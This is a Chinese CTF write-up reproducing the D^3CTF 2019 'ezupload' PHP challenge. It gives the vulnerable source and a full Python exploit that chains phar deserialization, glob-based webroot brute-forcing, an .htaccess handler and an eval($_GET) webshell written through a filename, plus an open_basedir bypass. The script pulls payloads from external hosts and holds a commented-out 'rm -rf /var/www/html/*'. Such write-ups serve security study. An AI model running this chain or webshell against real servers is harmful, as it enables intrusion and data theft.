D^3CTF的赛后复现一

前言

D^CTF的赛题质量是非常高的,但是比较遗憾在比赛中没有做出了,因此赛后根据大佬们的博客来复现一下。

0x01 ezupload

题目的环境
https://github.com/Lou00/d3ctf_2019_ezupload
下面是根据官方的wp来写的。
题目一开始就给了源代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?php
class dir{
public $userdir;
public $url;
public $filename;
public function __construct($url,$filename) {
$this->userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
$this->url = $url;
$this->filename = $filename;
if (!file_exists($this->userdir)) {
mkdir($this->userdir, 0777, true);
}
}
public function checkdir(){
if ($this->userdir != "upload/" . md5($_SERVER["REMOTE_ADDR"])) {
die('hacker!!!');
}
}
public function checkurl(){
$r = parse_url($this->url);
if (!isset($r['scheme']) || preg_match("/file|php/i",$r['scheme'])){
die('hacker!!!');
}
}
public function checkext(){
if (stristr($this->filename,'..')){
die('hacker!!!');
}
if (stristr($this->filename,'/')){
die('hacker!!!');
}
$ext = substr($this->filename, strrpos($this->filename, ".") + 1);
if (preg_match("/ph/i", $ext)){
die('hacker!!!');
}
}
public function upload(){
$this->checkdir();
$this->checkurl();
$this->checkext();
$content = file_get_contents($this->url,NULL,NULL,0,2048);
if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
die('hacker!!!');
}
file_put_contents($this->userdir."/".$this->filename,$content);
}
public function remove(){
$this->checkdir();
$this->checkext();
if (file_exists($this->userdir."/".$this->filename)){
unlink($this->userdir."/".$this->filename);
}
}
public function count($dir) {
if ($dir === ''){
$num = count(scandir($this->userdir)) - 2;
}
else {
$num = count(scandir($dir)) - 2;
}
if($num > 0) {
return "you have $num files";
}
else{
return "you don't have file";
}
}
public function __toString() {
return implode(" ",scandir(__DIR__."/".$this->userdir));
}
public function __destruct() {
$string = "your file in : ".$this->userdir;
file_put_contents($this->filename.".txt", $string);
echo $string;
}
}

if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])){
highlight_file(__FILE__);
die();
}

$dir = new dir($_POST['url'],$_POST['filename']);
if($_POST['action'] === "upload") {
$dir->upload();
}
elseif ($_POST['action'] === "remove") {
$dir->remove();
}
elseif ($_POST['action'] === "count") {
if (!isset($_POST['dir'])){
echo $dir->count('');
} else {
echo $dir->count($_POST['dir']);
}
}
预期解
通过审计代码可以发现存在反序列化漏洞,可以任意文件写入
但是如果是用相对路径的话,发现无法写入

在析构函数中工作目录可能会变
官方给的测试代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class dir{
public function __construct()
{
system("pwd");
}
public function __destruct()
{
system("pwd");
}
}
highlight_file(__FILE__);
$dir=new dir();
意思是要找到绝对路径
所以第一部分的payload是
1
action=count&url=1&filename=1&dir=glob:///var/www/html/*/upload/{your_upload_path}/*
通过爆破得到路径(然而非了
得到路径后就可以通过文件名写shell了
构造类似与下面的文件名
1
action=upload&url=http://xxx&filename=<?php echo 1.1;eval($_GET["a"]);
构造反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class dir{
public $userdir;
public $url;
public $filename;
public function __construct($usedir,$url,$filename){
$this->userdir = $usedir;
$this->url = $url;
$this->filename = $filename;
}
}
$a = new dir('upload/{your_upload_path}','','');
$b = new dir($a,'','/var/www/html/xxx/upload/{your_upload_path}/2');
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER();?>;");
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
echo urlencode(serialize($b));
上传后通过file_get_contents触发
1
action=upload&url=phar://upload/{your_upload_path}/1.jpg&filename=2.jpg
然后就会发现一个带有<?的txt文件
最后上传一个.htaccess文件
内容为
1
AddHandler php7-script .txt
即可解析php
最后是bypass open_basedir
下面是官方提供的payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
import requests
import os

with open('htaccess','w') as f:
f.write('AddHandler php7-script .txt\n')
print('[*] your file htaccess is create')
os.popen('mv htaccess /etc/nginx/php_file/1')

headers = {'User-Agent':'poc_from_lou00'}

url = 'http://192.168.220.154:8001/'

webroot=''
upload=''
for i in range (0,3):
data = {
'action':'upload',
'url':'http://192.168.220.157:8302/php_file/1',
'filename': str(i)
}
r = requests.post(url,data=data,headers=headers)
upload = r.text.split('upload/')[1]

print('[*] upload is ' + upload)

temp = '1234567890abcdefghijklmnopqrstuvwxyz'
for j in range(16):
for i in temp:
data = {
'action':'count',
'url':'1',
'filename':'1',
'dir':'glob:///var/www/html/'+webroot + i+'*/upload/'+upload+'/*'
}
r = requests.post(url,data=data,headers=headers)
if "don't" not in r.text:
webroot += i
print(webroot)
break
print('[*] webroot is ' + webroot)

data = {
'action':'upload',
'url':'http://192.168.220.157:8302/php_file/1',
'filename': '.htaccess'
}
r = requests.post(url,data=data,headers=headers)

data = {
'action':'upload',
'url':'http://192.168.220.157:8302/php_file/1',
'filename': '<?php echo 1.1;eval($_GET["a"]);'
}
r = requests.post(url,data=data,headers=headers)
print(webroot,upload)
php = '''<?php
class dir{
public $userdir;
public $url;
public $filename;
public function __construct($usedir,$url,$filename){
$this->userdir = $usedir;
$this->url = $url;
$this->filename = $filename;
}
}
$a = new dir('upload/%s','','');
$b = new dir($a,'','/var/www/html/%s/upload/%s/2');
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER();?>;");
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
echo urlencode(serialize($b));'''%(upload,webroot,upload)
with open('phar.php','w') as f:
f.write(php)
print('[*] your file phar.php is create')
os.popen('php phar.php','r',1)
os.popen('mv phar.phar /etc/nginx/php_file')
print('[*] your file phar.phar is create')

data = {
'action':'upload',
'url':'http://192.168.220.157:8302/php_file/phar.phar',
'filename': '1.jpg'
}
r = requests.post(url,data=data,headers=headers)
print('[*] your file phar.phar is upload')

data = {
'action':'upload',
'url':'phar://upload/'+upload+'/1.jpg',
'filename': '2.jpg'
}
print('[*] shell is in upload/'+upload+'/2.txt')

r = requests.post(url,data=data,headers=headers)


r = requests.get(url+'upload/'+upload+'/2.txt?a=chdir(%27..%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(file_get_contents(%27F1aG_1s_H4r4%27));',headers=headers)
print(r.text)

# os.popen('rm -rf /var/www/html/*')
# print('[*] your file is delate')
从赛后官方给的docker环境中我们可以看到有如下两限制:
目录限制:
1
open_basedir = /var/www/html
系统函数限制:
1
2
3
4
5
disable_functions = system,
shell_exec,passthru,exec,popen,
proc_open,pcntl_exec,mail,putenv,
apache_setenv,mb_send_mail,dl,set_time_limit,
ignore_user_abort,symlink,link,error_log
但是没有禁用glob因此我们可以用它来匹配文件,例如:
1
2
3
<?php
$dir=scandir('glob://i*x.php');
print_r($dir);
结果如下:
1
2
3
4
Array
(
[0] => index.php
)
我们根据这个payload来进行分析:
第一步我们要上传一个.htaccess的文件因为后文要把它解析为php文件。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import os

with open('htaccess','w') as f:
f.write('AddHandler php7-script .txt\n')
print('[*] your file htaccess is create')
os.popen('mv htaccess /var/www/html/1')

headers = {'User-Agent':'poc_from_lou00'}

url = 'http://192.168.220.154:8001/'

webroot=''
upload=''
for i in range (0,3):
data = {
'action':'upload',
'url':'http://118.24.3.214/1',
'filename': str(i)
}
r = requests.post(url,data=data,headers=headers)
upload = r.text.split('upload/')[1]

print('[*] upload is ' + upload)
第二步爆破出webroot,方便后面的文件写入:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
temp = '1234567890abcdefghijklmnopqrstuvwxyz'
for j in range(16):
for i in temp:
data = {
'action':'count',
'url':'1',
'filename':'1',
'dir':'glob:///var/www/html/'+webroot + i+'*/upload/'+upload+'/*'
}
r = requests.post(url,data=data,headers=headers)
if "don't" not in r.text:
webroot += i
print(webroot)
break
print('[*] webroot is ' + webroot)
第三步上传webshell文件,这里主要是为了在反序列化时包含文件名作为webshell。
1
2
3
4
5
6
7
8
9
10
11
12
13
data = {
'action':'upload',
'url':'http://118.24.3.214/1',
'filename': '.htaccess'
}
r = requests.post(url,data=data,headers=headers)

data = {
'action':'upload',
'url':'http://118.24.3.214/1',
'filename': '<?php echo 1.1;eval($_GET["a"]);'
}
r = requests.post(url,data=data,headers=headers)
第四步我们Phar协议来反序列化,触发文件名的包含。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
php = '''<?php
class dir{
public $userdir;
public $url;
public $filename;
public function __construct($usedir,$url,$filename){
$this->userdir = $usedir;
$this->url = $url;
$this->filename = $filename;
}
}
$a = new dir('upload/%s','','');
$b = new dir($a,'','/var/www/html/%s/upload/%s/2');
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER();?>;");
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
echo urlencode(serialize($b));'''%(upload,webroot,upload)
with open('phar.php','w') as f:
f.write(php)
print('[*] your file phar.php is create')
os.popen('php phar.php','r',1)
os.popen('mv phar.phar /var/www/html')
print('[*] your file phar.phar is create')
第五步我们上传shell文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
data = {
'action':'upload',
'url':'http://118.24.3.214/phar.phar',
'filename': '1.jpg'
}
r = requests.post(url,data=data,headers=headers)
print('[*] your file phar.phar is upload')

data = {
'action':'upload',
'url':'phar://upload/'+upload+'/1.jpg',
'filename': '2.jpg'
}
print('[*] shell is in upload/'+upload+'/2.txt')

r = requests.post(url,data=data,headers=headers)
最后绕过open_basedir:
1
2
3
4
5
r = requests.get(url+'upload/'+upload+'/2.txt?a=chdir(%27..%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(file_get_contents(%27F1aG_1s_H4r4%27));',headers=headers)
print(r.text)

# os.popen('rm -rf /var/www/html/*')
# print('[*] your file is delate')
参考资料
https://www.anquanke.com/post/id/193939#h3-7
https://hexo.imagemlt.xyz/post/php-bypass-open-basedir/
https://paper.seebug.org/680/